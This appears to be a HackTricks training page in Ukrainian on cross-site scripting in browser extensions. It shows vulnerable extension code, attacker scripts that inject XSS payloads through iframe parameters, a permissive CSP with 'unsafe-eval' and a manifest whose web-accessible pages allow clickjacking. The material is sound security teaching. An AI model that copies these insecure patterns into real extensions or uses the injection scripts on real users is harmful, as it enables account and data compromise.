# BrowExt - XSS Приклад {{#include ../../banners/hacktricks-training.md}} ## Міжсайтовий скриптинг (XSS) через Iframe У цій конфігурації реалізовано **скрипт контенту**, щоб створити Iframe, включаючи URL з параметрами запиту як джерело Iframe: ```javascript chrome.storage.local.get("message", (result) => { let constructedURL = chrome.runtime.getURL("message.html") + "?content=" + encodeURIComponent(result.message) + "&redirect=https://example.net/details" frame.src = constructedURL }) ``` Публічно доступна HTML-сторінка, **`message.html`**, призначена для динамічного додавання вмісту до тіла документа на основі параметрів у URL: ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search) let userContent = urlParams.get("content") $(document.body).html( `${userContent} ` ) $("#detailBtn").on("click", () => { let destinationURL = urlParams.get("redirect") chrome.tabs.create({ url: destinationURL }) }) }) ``` Зловмисний скрипт виконується на сторінці супротивника, змінюючи параметр `content` джерела Iframe, щоб ввести **XSS payload**. Це досягається шляхом оновлення джерела Iframe, щоб включити шкідливий скрипт: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src let baseURL = targetFrame.split("?")[0] let xssPayload = "" let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` document.querySelector("iframe").src = maliciousURL }, 1000) ``` Занадто поблажлива політика безпеки контенту, така як: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` дозволяє виконання JavaScript, що робить систему вразливою до атак XSS. Альтернативний підхід для провокації XSS полягає в створенні елемента Iframe і встановленні його джерела, щоб включити шкідливий скрипт як параметр `content`: ```javascript let newFrame = document.createElement("iframe") newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + encodeURIComponent("") document.body.append(newFrame) ``` ## DOM-based XSS + ClickJacking Цей приклад був взятий з [оригінального поста](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). Основна проблема виникає з вразливості Cross-site Scripting (XSS), що базується на DOM, розташованої в **`/html/bookmarks.html`**. Проблемний JavaScript, частина **`bookmarks.js`**, детально описаний нижче: ```javascript $("#btAdd").on("click", function () { var bookmarkName = $("#txtName").val() if ( $(".custom-button .label").filter(function () { return $(this).text() === bookmarkName }).length ) return false var bookmarkItem = $('
') bookmarkItem.html('' + bookmarkName + "") bookmarkItem.append('') bookmarkItem.attr("data-title", bookmarkName) bookmarkItem.data("timestamp", new Date().getTime()) $("section.bookmark-container .existing-items").append(bookmarkItem) persistData() }) ``` Цей фрагмент отримує **значення** з поля введення **`txtName`** і використовує **конкатенацію рядків для генерації HTML**, який потім додається до DOM за допомогою функції `.append()` jQuery. Зазвичай, Політика Безпеки Контенту (CSP) розширення Chrome запобігала б таким вразливостям. Однак, через **послаблення CSP з ‘unsafe-eval’** та використання методів маніпуляції DOM jQuery (які використовують [`globalEval()`](https://api.jquery.com/jquery.globaleval/) для передачі скриптів до [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) під час вставки в DOM), експлуатація все ще можлива. Хоча ця вразливість є значною, її експлуатація зазвичай залежить від взаємодії користувача: відвідування сторінки, введення XSS-пейлоаду та активація кнопки “Додати”. Щоб посилити цю вразливість, експлуатується вторинна вразливість **clickjacking**. Маніфест розширення Chrome демонструє розширену політику `web_accessible_resources`: ```json "web_accessible_resources": [ "html/bookmarks.html", "dist/*", "assets/*", "font/*", [...] ], ``` Зокрема, сторінка **`/html/bookmarks.html`** підлягає фреймінгу, отже, вразлива до **clickjacking**. Ця вразливість використовується для фреймінгу сторінки в межах сайту зловмисника, накладаючи на неї елементи DOM для обманного redesign інтерфейсу. Це маніпулювання змушує жертв взаємодіяти з основним розширенням ненавмисно. ## References - [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) - [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {{#include ../../banners/hacktricks-training.md}}